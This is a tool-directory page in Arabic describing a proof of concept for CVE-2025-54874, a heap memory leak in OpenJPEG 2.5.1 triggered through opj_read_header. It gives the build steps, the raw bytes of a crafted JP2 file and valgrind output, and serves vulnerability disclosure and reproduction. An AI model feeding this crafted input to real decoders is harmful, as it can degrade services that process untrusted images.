Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2025-54874-poc — إثبات مفهوم يوضح تسربًا في الذاكرة في OpenJPEG 2.5.1 عبر ملفات JP2 مصممة بعناية، مما يؤدي إلى فشل opj_read_header وتسرب في الكومة، مع التحقق عبر valgrind. | Kitploit
أدوات/GitHubGitHub/cyhe50/cve-2025-54874-poc
تحليل الذاكرة الجنائيتحليل الثغرات الأمنيةالاستغلالالاختبار العشوائيتحليل الملفات الثنائية
GitHubcyhe50/cve-2025-54874-poc

cve-2025-54874-poc

إثبات مفهوم يوضح تسربًا في الذاكرة في OpenJPEG 2.5.1 عبر ملفات JP2 مصممة بعناية، مما يؤدي إلى فشل opj_read_header وتسرب في الكومة، مع التحقق عبر valgrind.

عرض المستودع
7منذ 11 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

المرجع

https://github.com/uclouvain/openjpeg/pull/1573

https://www.cvedetails.com/cve/CVE-2025-54874/

https://securitylab.github.com/advisories/GHSL-2025-057_OpenCV/

بيئة الاختبار

openjpeg-2.5.1

Linux 6.10.14-linuxkit x86_64 GNU/Linux

الوصف

سلسلة استدعاء الدوال هي: opj_read_header ← opj_jp2_read_header ← opj_j2k_read_header ← opj_j2k_setup_header_reading ← opj_j2k_read_header_procedure ← opj_stream_read_data

عندما تكون البيانات صغيرة جدًا، سترجع opj_stream_read_data خطأً، مما يتسبب في إرجاع opj_j2k_read_header خطأً مرة أخرى إلى opj_jp2_read_header.

ومع ذلك، في opj_jp2_read_header، لم يتم التحقق مما إذا كانت opj_j2k_read_header ترجع خطأً أم لا قبل تعيين القيم على ذاكرة الكومة (heap memory) مما يتسبب في تسرب للذاكرة.

عملية إثبات المفهوم (POC)

  1. تهيئة opj_image_t و opj_codec_t و opj_stream_t (هذه مطلوبة لـ opj_read_header)
    1. مرجع التهيئة: openjpeg2.5.1/tests/test_decode_area.c:create_codec_and_stream
  2. استدعاء opj_read_header()
  3. التنظيف

كيفية تشغيل إثبات المفهوم هذا

git clone [email protected]:cyhe50/cve-2025-54874-poc.git

cd cve-2025-54874-poc

تشغيل الملف الثنائي

./poc in/test.jp2: استلام Expect Error: opj_read_header failed

تشغيل valgrind

valgrind --track-origins=yes --leak-check=full ./poc in/test.jp2

المخرجات

root@kitploit:~
==1280== Memcheck, a memory error detector
==1280== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
==1280== Using Valgrind-3.18.1 and LibVEX; rerun with -h for copyright info
==1280== Command: ./poc in/test.jp2
==1280==
Expect Error: opj_read_header failed
==1280==
==1280== HEAP SUMMARY:
==1280==     in use at exit: 8 bytes in 1 blocks
==1280==   total heap usage: 28 allocs, 27 frees, 1,066,008 bytes allocated
==1280==
==1280== 8 bytes in 1 blocks are definitely lost in loss record 1 of 1
==1280==    at 0x484DA83: calloc (in /usr/libexec/valgrind/vgpreload_memcheck-amd64-linux.so)
==1280==    by 0x10EAD6: opj_calloc (opj_malloc.c:204)
==1280==    by 0x12D8EE: opj_jp2_read_colr (jp2.c:1573)
==1280==    by 0x13030F: opj_jp2_read_jp2h (jp2.c:2727)
==1280==    by 0x12F6AA: opj_jp2_read_header_procedure (jp2.c:2364)
==1280==    by 0x12F967: opj_jp2_exec (jp2.c:2440)
==1280==    by 0x1307CD: opj_jp2_read_header (jp2.c:2855)
==1280==    by 0x10D9DA: opj_read_header (openjpeg.c:475)
==1280==    by 0x10B90D: main (poc.c:62)
==1280==
==1280== LEAK SUMMARY:
==1280==    definitely lost: 8 bytes in 1 blocks
==1280==    indirectly lost: 0 bytes in 0 blocks
==1280==      possibly lost: 0 bytes in 0 blocks
==1280==    still reachable: 0 bytes in 0 blocks
==1280==         suppressed: 0 bytes in 0 blocks
==1280==
==1280== For lists of detected and suppressed errors, rerun with: -s
==1280== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)

العملية الأولية

openjpeg-2.5.1

  1. تنزيل الكود المصدري

  2. الترجمة

    root@kitploit:~
    cd openjpeg-2.5.1
    mkdir build && cd build
    cmake -DCMAKE_BUILD_TYPE=Debug ..
    make
    cd ../..
    
  3. بناء إثبات المفهوم

  4. ترجمة إثبات المفهوم

    root@kitploit:~
    gcc -g -I./openjpeg-2.5.1/src/lib/openjp2 -o poc poc.c ./openjpeg-2.5.1/build/bin/libopenjp2.a -lm
    
    
  5. توليد ملف jp2 الثغرة

    root@kitploit:~
    python3 -c "import sys; sys.stdout.buffer.write(bytes([
        0x00,0x00,0x00,0x0c,0x6a,0x50,0x20,0x20,0x0d,0x0a,0x87,0x0a,
        0x00,0x00,0x00,0x14,0x66,0x74,0x79,0x70,0x6a,0x70,0x30,0x20,
        0xf9,0xff,0xff,0xff,0x6a,0x70,0x33,0x20,0x00,0x00,0x00,0x31,
        0x6a,0x70,0x32,0x68,0x00,0x00,0x00,0x16,0x69,0x68,0x64,0x72,
        0x00,0x80,0x00,0x00,0x00,0x00,0x05,0x00,0x00,0x03,0x07,0x07,
        0x00,0x00,0x00,0x00,0x00,0x13,0x63,0x6f,0x6c,0x72,0x02,0xff,
        0xff,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,
        0x00,0x00,0x00,0x20,0x6a,0x70,0x32,0x63,0xff,0x4f
    ]))" > in/test.jp2
    
    
  6. تشغيل valgrind

    root@kitploit:~
     valgrind --track-origins=yes   --leak-check=full     ./poc in/test.jp2
    
تنزيل الأداة